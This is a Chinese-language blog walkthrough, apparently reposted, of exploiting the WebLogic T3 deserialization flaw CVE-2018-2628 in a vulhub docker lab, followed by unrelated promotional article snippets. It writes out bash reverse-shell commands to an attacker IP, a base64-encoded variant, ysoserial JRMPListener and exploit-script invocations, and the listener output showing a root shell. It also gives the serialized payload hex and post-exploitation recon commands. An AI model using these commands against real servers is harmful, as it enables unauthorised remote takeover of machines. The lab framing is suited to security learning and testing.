【weblogic】协议反序列化漏洞 - 指南

news/2025/11/27 16:22:12/文章来源:https://www.cnblogs.com/gccbuaa/p/19278430

      WebLogic 控制台默认开放的 ​​7001 端口​​ 是攻击起点。该端口会默认开启 ​​T3 协议​​服务,这是 Oracle 为 WebLogic 定制的用于服务间通信的高性能协议。​

      T3 协议实现了 Java 的 ​​RMI(远程方法调用)​​ 机制,用于在 WebLogic 服务器与其他 Java 客户端之间传输序列化对象数据。问题在于,T3 协议在处理这些数据时,会对其进行​​反序列化​​操作。

      漏洞的核心在于,WebLogic 的 ​​WLS核心组件​​ 在反序列化由 T3 协议传输的数据时,没有进行充分的安全校验。这个反序列化过程的缺陷是触发漏洞的根本原因。​

       攻击者可以精心构造恶意的 T3 协议数据包,并发送至目标的 7001 端口。当 WebLogic 服务器接收到这些数据并尝试反序列化时,就会执行其中嵌入的​​恶意代码​​。成功利用此漏洞,攻击者可以直接在目标服务器上获得执行命令的权限,从而完全控制服务器。

登录虚拟机启动docker和启动相关靶场

[root@localhost ~]systemctl start docker
[root@localhost ~]cd /var/local/soft/vulhub-master/weblogic
[root@localhost weblogic]ls
CVE-2017-10271  CVE-2018-2894   CVE-2023-21839  weak_password
CVE-2018-2628   CVE-2020-14882  ssrf
[root@localhost weblogic]cd CVE-2018-2628
[root@localhost CVE-2018-2628]docker-compose up -d
[+] Running 2/2✔ Network cve-2018-2628_default       Created                                             0.7s✔ Container cve-2018-2628-weblogic-1  Started                                             3.0s
[root@localhost CVE-2018-2628]#

1. ​​Bash反弹Shell命令​​,用于建立从目标主机到攻击机的反向TCP连接。

bash -i >& /dev/tcp/192.168.142.162/7777 0>&1

部分

作用

技术细节

bash -i

启动交互式Bash

-i参数表示交互模式(Interactive)

>&

合并输出流

将标准输出(stdout)和标准错误(stderr)合并

/dev/tcp/192.168.142.162/7777

建立TCP连接

Bash内置功能,无需实际文件,直接创建TCP套接字

0>&1

重定向输入流

将标准输入(stdin)重定向到标准输出(即TCP连接)

用反弹连接base64 payload生成工具,生成

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

需要用到ysoserial.jar包和命令:(ip是自身作为攻击机的ip)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761
CommonsCollections1“bash -i >& /dev/tcp/192.168.142.135/7777 0>&1”

部分

作用

java -cp ysoserial.jar

使用 Java 运行 ysoserial 工具包

ysoserial.exploit.JRMPListener

启动 JRMP(Java Remote Method Protocol)监听服务

8761

监听的端口号(可自定义)

CommonsCollections1

使用的反序列化利用链(Payload)

"bash -i >& /dev/tcp/192.168.142.162/7777 0>&1"

要在目标服务器上执行的反弹 Shell 命令

拼接成以下这段话,只要有服务器连8761端口,就会建立反弹连接

启动第二个kali终端,接收来自目标系统的连接,等待目标服务器主动连接回来(反向 Shell)

开启第三个kali终端,该目录下执行

python2 cve-2018-2628-exp.py 192.168.142.133 7001 ysoserial.jar
192.168.142.162 8761 JRMPClient

参数

作用

cve-2018-2628-exp.py

-

漏洞利用脚本(用于触发WebLogic反序列化漏洞)

​目标IP​

192.168.142.133

存在漏洞的WebLogic服务器IP地址(我这里是centos)

​目标端口​

7001

WebLogic默认的T3协议端口

​ysoserial路径​

ysoserial.jar

反序列化攻击工具包路径

​攻击机IP​

192.168.142.162

运行JRMPListener的Kali攻击机IP

​JRMP端口​

8761

攻击机监听的JRMP服务端口

​Payload类型​

JRMPClient

指定使用JRMP协议的反序列化攻击载荷

kali1回显

┌──(root?kali)-[~/weblogic-exp]
└─# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
* Opening JRMP listener on 8761
Have connection from /192.168.142.131:54796
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54798
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54804
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54808
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection

kali2回显

┌──(root㉿kali)-[~]
└─# nc -lvp 7777
listening on [any] 7777 ...
192.168.142.131: inverse host lookup failed: Unknown host
connect to [192.168.142.135] from (UNKNOWN) [192.168.142.131] 53646
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@9e33f190c7df:~/Oracle/Middleware/user_projects/domains/base_domain#

目标服务器成功反弹 Shell 到 7777 端口,获得了目标服务器的 Shell 控制权​

现在可以在这个 Shell 中执行以下命令:

​信息收集命令​

# 查看系统信息 uname -a cat /etc/issue

# 查看网络配置 ip addr netstat -tulnp

# 查看进程和服务 ps aux

kali3回显

┌──(root㉿kali)-[~/weblogic-exp]
└─# python2 cve-2018-2628-exp.py 192.168.142.131 7001 ysoserial.jar 192.168.142.135 8761 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar ysoserial.jar JRMPClient 192.168.142.135:8761 > payload.out
payload: aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707738000a556e6963617374526566000f3139322e3136382e3134322e31333500002239ffffffff92a70d3500000000000000000000000000000078

   这里看到与目标WebLogic服务器建立连接,恶意载荷已发送并收到响应,成了完整的JRMPClient反序列化数据。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/978630.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

成都冷库制冷设备螺杆机组制造厂家哪家靠谱?认准成都科斯特!

成都冷库制冷设备螺杆机组制造厂家哪家靠谱?认准成都科斯特!在冷链行业快速发展的当下,成都冷库制冷设备的品质与性能直接影响企业运营效率,而螺杆机组作为冷库制冷系统的核心部件,其制造厂家的选择至关重要。在成…

制冷设备哪家好?成都科斯特多维优势口碑推荐!

制冷设备哪家好?成都科斯特制冷多维优势口碑推荐!一、公司资质:坚实基础铸就行业信赖成都科斯特制冷技术有限公司自 2019 年 12 月 2 日成立以来,凭借其强大的综合实力在制冷领域迅速崛起。公司位于四川省成都市郫…

2025年11月蒸汽发生器品牌推荐榜:综合实力与创新技术排行解析

随着工业领域节能环保要求的不断提高,蒸汽发生器作为热能设备的重要组成部分,其选择成为众多企业关注的焦点。2025年,在双碳政策持续推进的背景下,蒸汽发生器行业呈现出技术升级加速、能效标准提升、智能化程度深化…

2025年药品检测柱后衍生系统十大推荐品牌,赛智柱后衍生技术

在药品检测领域,柱后衍生系统作为痕量杂质分析的关键设备,直接影响检测结果的精准度与合规性。面对市场上众多柱后衍生系统品牌,如何选择适配药品检测需求的产品?以下依据技术实力、药品检测适配性等维度,推荐202…

四、使用Spring AI实现MCP Client调用MCP Server

四、使用Spring AI实现MCP Client调用MCP Server ================================================================================== ========================================================================…

2025长沙西点培训学校TOP5权威推荐:长沙欧米奇专业吗?

职业技能培训市场中,西点领域因低门槛、高潜力成为转型热门赛道,但行业乱象丛生:62%学员遭遇理论空转、就业无门问题,小机构教学设备陈旧、师资流动性大,导致学员技能与市场脱节。面对选择困境,本榜单基于教学实…

2025年11月蒸汽发生器品牌评价排行:行业数据与用户场景化分析

随着工业领域对高效节能设备需求的持续增长,蒸汽发生器作为热能供应核心设备,其选择成为许多企业用户关注的重点。2025年,在双碳政策推动和制造业智能化升级背景下,蒸汽发生器市场呈现技术迭代加速、能效标准提升、…

Android开发TextView字体大小自适应实现

<TextViewandroid:layout_width="wrap_content"android:layout_height="wrap_content"android:text="28"android:maxLines="1" //必须指定最大多少行或者指定高度,这里…

我的机器人制作流程

起兴莫听穿林打叶声,何妨吟啸且徐行。竹杖芒鞋轻胜马,谁怕?一蓑烟雨任平生。 2025-11-24 23:55:13 星期一写在前面 这篇博客方便知识点的记录和日后的学而时习之。笔者梦到哪里写到哪里,如有不对之处,请读者纠正见…

解决Unity中使用C#自带类库没有代码提示的问题

欢迎前往我的B站查看该内容视频:https://www.bilibili.com/video/BV1wutozQEYS/问题描述 在Unity中书写代码时,使用C#自带的类库时,不会显示注释文字 预期:问题:原因 Unity中的netstandard.dll不包含xml注释,手动…

球缺与球台公式完整总结表

球缺与球台公式完整总结表 基本定义球缺:球被一个平面截下的部分,形状如帽子或碗 球台:球被两个平行平面截下的中间部分,形状如桶或带通用参数球半径:\(R\) 球缺高:\(h\) 球台高:\(h\) 底面半径:\(r\)(球缺)…

基于MATLAB实现的PSO优化BP神经网络

基于MATLAB实现的PSO优化BP神经网络的代码,结合了粒子群优化算法(PSO)和BP神经网络,用于提高预测精度。 1. 初始化参数 % 清除环境变量 clear; clc;% 定义BP神经网络结构 inputLayerSize = 7; % 输入层节点数 hidd…

2025年十大高压旧电缆回收公司排行榜,金属电缆回收厂家推荐

为帮助企业、工厂及个人精准锁定合规、高效的废旧电缆回收合作伙伴,避免资源浪费与经济损失,我们从回收资质合规性(如环保认证、质量管理体系认证)、技术处理能力(如铜铝提纯效率、资源回收率)、服务响应速度(含…

2025年中国仿真模拟商家满意度榜单:行业口碑与个性化定制能

本榜单基于全国200+企业客户深度调研、真实项目交付数据及行业专家评审,从技术实力、定制化能力、售后服务、客户留存率四大维度筛选标杆企业,为科研机构、工业企业选型提供客观参考,助力精准匹配能解决真实需求的仿…

2025 年 11 月牙刷品牌权威推荐榜:涵盖软毛/电动/儿童/便携/声波/护龈/脱敏/旋转式/超软毛/深层清洁牙刷的全方位口腔护理精选指南

2025 年 11 月牙刷品牌权威推荐榜:涵盖软毛/电动/儿童/便携/声波/护龈/脱敏/旋转式/超软毛/深层清洁牙刷的全方位口腔护理精选指南 随着人们对口腔健康意识的不断提升,牙刷作为日常口腔护理的基础工具,其技术迭代与…

2025年花都人气湘菜馆TOP5推荐,花都菜品好的湘菜馆与旅

在广州花都的美食版图中,湘菜馆是极具烟火气的存在。对于食客而言,如何在众多湘菜馆里找到口味地道、人气爆棚、适合旅游打卡的店?以下结合花都人气湘菜馆花都菜品好的湘菜馆花都湘菜馆旅游打卡地三大关键词,为你推…

更年期综合征调理产品推荐:从传统中成制剂到前沿疗法,精准避坑攻略

前言:认识更年期综合征 更年期是女性从生育期向老年期过渡的关键阶段,因卵巢功能衰退、雌激素水平波动,常伴随潮热盗汗、失眠心悸、情绪波动、关节疼痛等身心不适。中国疾病预防控制中心调查显示,40-60岁女性中约4…

懒人必藏!小程序推荐休闲游戏,十款挂机休闲神作,躺着也能享受乐趣

在快节奏的现代生活中,我们都需要一点“躺平”时光。无需下载、点开即玩的微信小程序游戏,就成了放松身心的完美选择。今天,就为各位“懒人”玩家精心挑选十款挂机、休闲神作,让你躺着也能享受游戏的乐趣!第一名:…

租用美国服务器的网站能做些什么

美国服务器凭借带宽充足(1Gbps起步)、IP资源丰富、内容限制少和全球覆盖优势,成为各类网站的理想选择。以下是租用美国服务器可搭建的主要网站类型及应用场景:美国服务器凭借带宽充足(1Gbps起步)、IP资源丰富、内容限…

boringssl中0-RTT的错误码

本文分享自天翼云开发者社区《boringssl中0-RTT的错误码》.作者:沈****扬 在TLS协议中,0-RTT(零往返时间)是指在某些情况下,客户端可以在第一个往返(RTT)中就开始发送加密的应用数据,而不需要等待完整的TLS握手…